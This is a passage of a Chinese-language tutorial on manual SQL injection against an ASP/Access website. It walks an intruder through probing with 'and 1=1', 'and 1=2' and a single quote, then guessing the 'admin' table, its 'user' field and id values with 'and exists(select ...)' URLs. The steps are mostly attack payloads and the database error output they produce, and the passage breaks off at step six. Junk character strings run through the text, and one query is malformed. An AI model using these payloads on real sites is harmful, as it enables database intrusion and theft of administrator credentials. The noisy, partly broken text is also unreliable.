7 }- B$ M1 v1 U3 l# ?; S- i（2）像浏览器提交如下url：http://127.0.0.1/111/view.asp?id=198 and 1=1 如果存在SQL注入漏洞，就可以查询数据库。( [, X% m+ ]0 N7 R
这里1=1是一个恒等式，可以忽略，因此会返回一个正常的页面，此页面和http://127.0.0.1/111/view.asp?id=198一样，这时便可以判断此站有希望被注入，如果返回的是一些错误的信息，哪么一些初级的入侵者可能会放弃这个站点 ; _- Z& W* T Q. N& z% s, p 3 M5 r J! J- j) q3 E（3）进一步像浏览器提交如下URL：http://127.0.0.1/111/view.asp?id=198 and 1=2 这里1=2是一个恒不等式。 . C8 v: R0 M; y+ H如果站点支持数据库查询，大概会返回一个这样的提示： $ @6 m) }+ P0 _. ~; @0 Umicrosoft VBScript 编辑器错误 错误’800a03f6'% a" a8 @$ _6 Y
缺少'End'4 B% r- L5 a) ^9 B$ v( N( d
/iisHelp/common/500-100.asp,行242 6 p9 |3 ~8 o5 Q' |' t9 q* BADODB.Field 错误'800a0bcd' 8 ]& L" f) T4 g HBOF或 EOF 中有一个是“真”，或者当前的记录已被删除，所需的操作要求一个当前的记录。* r7 A; e x3 y+ N% a. ^
/111/view.asp. 行50 % p8 g4 O; _: J; p( L- a/ N, t% N5 s8 n5 X w& M+ j; u
一般出现这个信息我们就能够基本确定这个站能够进行SQL的注入了。 0 \9 }# ?+ t/ w8 }! T 7 S: [( B* h! t% G) R不过很多的时候我们只需要用一个单引号就可以快速的判断出目标站点是否存在SQL的注入，向浏览器提交如下url: http://127.0.0.1/111/view.asp?id=198' & [7 _5 X# p! p5 R5 R$ Q+ Y8 R t : p0 Q) x: K4 h& P! V如果返回的如下信息就说明有一半以上的几率存在注入漏洞： * j8 ?8 x/ d( W- J: e& M CMicrosoft OLE DB Provider for ODBC Drivers错误’80040e14’. k- v$ Z* l, z
[Microsoft] [OBDC / a2 E {, c0 yMicrosoft Ac-cess Driver]字符串的语法错误在查询表达式’id=1’中。9 r! G& H; I) V F+ X0 D
% u+ m# p' ]4 n+ j" {: V( m
$ H, G( E f+ t0 L（4）此时我们开始构造特殊的SQL查询语句来查询站点数据库的表名，向url提交如下语句：) d! z: K5 [" |% w# @ http://127.0.0.1/111/view.asp?id=198 and exists(select from *admin)9 _6 z; r9 Y. a, ^- l9 @: b
3 o3 i% P+ Q% s这个语句是向数据库查询是否存在admin这个表，如果存在就会返回正常页面，不存在就会返回出现错误的页面，一般我们都会先测试常用的表名 当然这也是一般的注入工具密码字典内存在的表名和字段名，如果表名不存在的常用的表明中，哪么我们就用社会工程学来猜解表名，当然这样的情况下猜中表名的概率也是很低的。' ]) a. v/ U% b! y) a
0 [. t, u& A8 t5 W
（5）在得到表名后开始构造查询语句查询数据库字段名，想url提交如下语句： 3 ]" p% L$ c z# d. G( T( Ohttp://127.0.0.1/111/view.asp?id=198 and exists(select user from admin)8 \7 d' ]2 `: J6 g* W, c# C2 {' h
7 p1 H, o, V3 R- M E! T& L这个语句是向数据库中admin表中查询师傅存在user字段，存在的话返回正常页面，附则反之9 a. `. a* X, v/ E! d
5 c; n4 `7 i, X$ Y. u
（6）接下来确定字段id值，语句： ) \6 ~/ V7 a" M+ V; Ghttp://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where id=1)7 y" ~) X' F/ V1 B8 H' p0 k" D: F
, H0 c, U0 H, ?3 p6 }, v
